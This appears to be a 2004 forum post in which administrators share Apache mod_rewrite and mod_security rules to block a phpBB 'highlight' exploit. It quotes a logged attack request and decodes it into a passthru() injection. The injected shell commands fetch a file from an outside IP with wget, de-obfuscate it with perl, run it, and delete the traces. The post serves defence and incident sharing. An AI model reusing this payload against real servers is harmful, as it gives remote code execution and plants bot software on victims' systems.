If you cannot fix it (virtual servers) fast for all your clients you could also try with something like this: RewriteEngine On RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR] RewriteCond %{QUERY_STRING} ^(.*)esystem(.*) RewriteRule ^.*$ - [F] We had some vhosts where this worked just fine. On our systems we didnt see any valid request with echr and esystem, just be gentle with it, it works for me, it could work for you ;)
If you use mod_security, this may help, too: SecFilterSelective "THE_REQUEST" "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\(" I had another exploit attempt, with this payload: 66.119.13.4 - - [22/Dec/2004:10:06:47 +0100] "GET /forum/viewtopic.php?t=%37&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%31%32%38%2E%31%37%34%2E%31%33%37%2E%32%33%30%2F%62%6E%20%2D%4F%20%2E%62%3B%20%70%65%72%6C%20%2D%70%65%20%79%2F%74%68%6D%76%64%77%30%39%38%37%36%35%34%33%32%31%75%6F%69%65%61%2F%61%65%69%6F%75%31%32%33%34%35%36%37%38%39%30%77%64%76%74%68%6D%2F%20%2E%62%7C%20%70%65%72%6C%3B%20%72%6D%20%2D%66%20%2E%62%20%2A%2E%70%6C%20%62%30%74%2A%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 HTTP/1.1" 200 12266 "-" "-" Which decodes to: rush=echo _START_; cd /tmp;wget 128.174.137.230/bn -O .b; perl -pe y/thmvdw0987654321uoiea/aeiou1234567890wdvthm/ .b| perl; rm -f .b *.pl b0t*; echo _END_ highlight='.passthru($HTTP_GET_VARS[rush]).'
